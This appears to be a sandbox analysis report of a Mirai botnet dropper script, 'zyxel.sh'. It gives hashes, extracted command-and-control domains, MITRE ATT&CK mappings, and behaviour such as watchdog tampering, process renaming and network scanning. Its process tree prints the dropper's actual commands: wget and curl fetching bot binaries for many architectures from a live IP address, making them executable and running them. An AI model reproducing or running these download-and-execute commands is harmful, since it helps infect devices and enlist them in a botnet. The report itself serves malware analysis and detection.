mirai | a8bf7fd01bb4a16af2fa1b13165f0f2c4753c3271feac14690d4dc6bb3268da0

Analysis

max time kernel
146s
max time network
148s
platform
debian-9_armhf
resource
debian9-armhf-20251218-en
resource tags

arch:armhfimage:debian9-armhf-20251218-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/12/2025, 12:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
zyxel.sh
Size 4KB
Sample251219-pxjvka1pcz
SHA256 a8bf7fd01bb4a16af2fa1b13165f0f2c4753c3271feac14690d4dc6bb3268da0
MD5 559885e87cb41d52cbacef943159c602
SHA1 fb3b3c80ead18d4397b4adebd0bd30c4bbd71fb4
SHA512 13b5534ee49663d969a1ded89650c7b2325ee5088012eceeb8ebbfba30ddae34a83133acc6ef0e6a0a755e4547c18bb3c5a0e9e163f73529a42f01104b8ed908
SSDEEP 48:vUhMV4kuoUq1V4KoUrHrWV4joUNoV49oUEpEEV4EhoUJkV4BoUq1V4KoUOZV4GoW:vbppWP9LBzOEpObLZKbsDNjT1cDYDbbu
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

antivm botnet unstable defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

cnc.504.su
scan.504.su

Extracted

Family

mirai

Botnet

UNSTABLE

cnc.504.su
scan.504.su

Extracted

Family

mirai

Botnet

UNSTABLE

cnc.504.su
scan.504.su

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (79663) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
813	chmod
710	chmod
722	chmod
732	chmod
744	chmod
789	chmod
704	chmod
716	chmod
756	chmod
801	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/76d32be0	705	zyxel.sh
/tmp/76d32be0	711	zyxel.sh
/tmp/76d32be0	717	zyxel.sh
/tmp/76d32be0	723	zyxel.sh
/tmp/76d32be0	733	zyxel.sh
/tmp/76d32be0	745	zyxel.sh
/tmp/76d32be0	757	zyxel.sh
/tmp/76d32be0	790	zyxel.sh
/tmp/76d32be0	802	zyxel.sh
/tmp/76d32be0	814	zyxel.sh

Modifies Watchdog functionality 1 TTPs 12 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0
File opened for modification	/dev/misc/watchdog	76d32be0

Enumerates active TCP sockets 1 TTPs 5 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0

Writes file to system bin folder 12 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0
File opened for modification	/sbin/watchdog	76d32be0
File opened for modification	/bin/watchdog	76d32be0

Changes its process name 6 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	a	723	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	733	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	745	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	757	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	790	76d32be0
Changes the process name, possibly in an attempt to hide itself	a	802	76d32be0

Checks CPU configuration 1 TTPs 10 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 5 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0
File opened for reading	/proc/net/tcp	76d32be0

Reads runtime system information 45 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/642/cmdline	76d32be0
File opened for reading	/proc/761/cmdline	76d32be0
File opened for reading	/proc/784/cmdline	76d32be0
File opened for reading	/proc/644/cmdline	76d32be0
File opened for reading	/proc/786/cmdline	76d32be0
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/579/cmdline	76d32be0
File opened for reading	/proc/634/cmdline	76d32be0
File opened for reading	/proc/774/cmdline	76d32be0
File opened for reading	/proc/762/cmdline	76d32be0
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/566/cmdline	76d32be0
File opened for reading	/proc/663/cmdline	76d32be0
File opened for reading	/proc/770/cmdline	76d32be0
File opened for reading	/proc/776/cmdline	76d32be0
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/640/cmdline	76d32be0
File opened for reading	/proc/780/cmdline	76d32be0
File opened for reading	/proc/785/cmdline	76d32be0
File opened for reading	/proc/586/cmdline	76d32be0
File opened for reading	/proc/772/cmdline	76d32be0
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/759/cmdline	76d32be0
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/585/cmdline	76d32be0
File opened for reading	/proc/641/cmdline	76d32be0
File opened for reading	/proc/768/cmdline	76d32be0
File opened for reading	/proc/778/cmdline	76d32be0
File opened for reading	/proc/782/cmdline	76d32be0
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/581/cmdline	76d32be0
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
707	wget
708	curl
709	cat

Writes file to tmp directory 21 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mips	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mips	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.spc	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7	wget
File opened for modification	/tmp/76d32be0	zyxel.sh
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.mpsl	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm5	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm6	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.arm7	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.ppc	curl
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.m68k	wget
File opened for modification	/tmp/db0fa4b8db0333367e9bda3ab68b8042.x86	wget

/tmp/zyxel.sh
/tmp/zyxel.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:644
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  - Writes file to tmp directory
  PID:650
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:672
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.x86
  2⤵
  PID:703
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-5c7b1fb2afa744b18f3e0b0814c98fcd-systemd-timedated.service-mHNxwv zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:704
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  PID:705
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:707
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:708
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.mips
  2⤵
  - System Network Configuration Discovery
  PID:709
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-5c7b1fb2afa744b18f3e0b0814c98fcd-systemd-timedated.service-mHNxwv zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:710
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  PID:711
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  - Writes file to tmp directory
  PID:713
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:714
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.mpsl
  2⤵
  PID:715
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-5c7b1fb2afa744b18f3e0b0814c98fcd-systemd-timedated.service-mHNxwv zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:716
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  PID:717
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  - Writes file to tmp directory
  PID:719
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:720
- /bin/cat
  cat db0fa4b8db0333367e9bda3ab68b8042.arm
  2⤵
  PID:721
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-5c7b1fb2afa744b18f3e0b0814c98fcd-systemd-timedated.service-mHNxwv zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  PID:723
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
  2⤵
  - Writes file to tmp directory
  PID:725
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-5c7b1fb2afa744b18f3e0b0814c98fcd-systemd-timedated.service-mHNxwv zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:733
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
  2⤵
  - Writes file to tmp directory
  PID:737
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-5c7b1fb2afa744b18f3e0b0814c98fcd-systemd-timedated.service-mHNxwv zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:745
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
  2⤵
  - Writes file to tmp directory
  PID:748
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 systemd-private-5c7b1fb2afa744b18f3e0b0814c98fcd-systemd-timedated.service-mHNxwv zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:757
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
  2⤵
  - Writes file to tmp directory
  PID:759
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:787
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:790
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
  2⤵
  - Writes file to tmp directory
  PID:794
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:802
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
  2⤵
  - Writes file to tmp directory
  PID:804
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/chmod
  chmod +x 76d32be0 db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  PID:814

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

76d32be0

Path /tmp/76d32be0
Size 94KB
SHA256 5a5be8301b1b61d5ffe08de1b358574f72fad83a739b9e12ae70e93fa6ba5b14
MD5 1b031150f65a7d6e02294b5c7e016b20
SHA1 c72854d05d19752136c212a2971e590c6fbacd3c
SHA512 e3dce86725aec7ba431fce4d292f2fc9a6ad648b0804d8bb5e611de90b16da4338ab225e60bab42ed69f6f29347c2337be9bfdbf643546f9583044a35593e8be
SSDEEP 1536:amc1p57mJoXIyIsHtnWhsYc6bmJac0jnKQ8xKP7olMNXvoJ4j:S1HyJoXIMwaYc6dJ8xKPclMdvaQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

76d32be0

Path /tmp/76d32be0
Size 94KB
SHA256 85e6515d887fb0ddf498df540c1a71b10438f722d85b95d613e0cbe37b7c4261
MD5 4f24ce6239c4ffe6d5d5adfa5f218425
SHA1 54e53419923ba5550f533a32a5298d3f542ad96e
SHA512 936beb236e48bf33ae4d8146f902ce7ffb6b60a0b59cb79b52ef6b2f63a9921e935bd8dd4ade6a0efba0ba2f2c271770042b56680c63923ee7baf47ca51836d5
SSDEEP 1536:N7oLX7L3E5BIBslZpImQ5/0R7Ns3ZZKiUDdK:5oLXfaBI8ot3Z
MD5 SHA1 SHA512 SSDEEP

Submit Download

76d32be0

Path /tmp/76d32be0
Size 72KB
SHA256 7dc62967116eed8492f6339b652f9887b57b3e73260514a5989ad90b80230b25
MD5 56b43dde4d075255191fb62238809578
SHA1 d61a3add2f46f3fa5c71f8fc42033dda057ee444
SHA512 d6960a6ae3bfa74d28ffe3f1d05ec60daa7f5cf059294847f9f3ef436d6123eb32f3810a42d1438bb7a5eddfb59799628f212eca4aeaced2b9f901d0160283d1
SSDEEP 1536:Y/68BmgyP4Z1695AW15QNBp8Wf21ykhmhpeywJ:Y//mgyPgymNLuUThpe9
MD5 SHA1 SHA512 SSDEEP

Submit Download

db0fa4b8db0333367e9bda3ab68b8042.x86

Path /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86
Size 64KB
SHA256 74ee95ea935954d8320594f45a3ed34d956637f399d927d75f080648800106a0
MD5 ba44aa37a8274d79744d1578308bbee9
SHA1 a040ce603675509aab2c3a073a2918426ccfdea0
SHA512 6632a931f3eea33a55dcf02890d8742f554b07b4672a07e395dfda5bd504a0e190c453ffc3327c29b88d1b2990a169386dbd4085608475153a398a1e2110dec8
SSDEEP 1536:Lugo/Y7kAs3fRWTei0EgKXt0L9UdZYgS3N7vd6DuK7:LugyY7fsvRWTeicSCL6dGgS3NDcDd
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads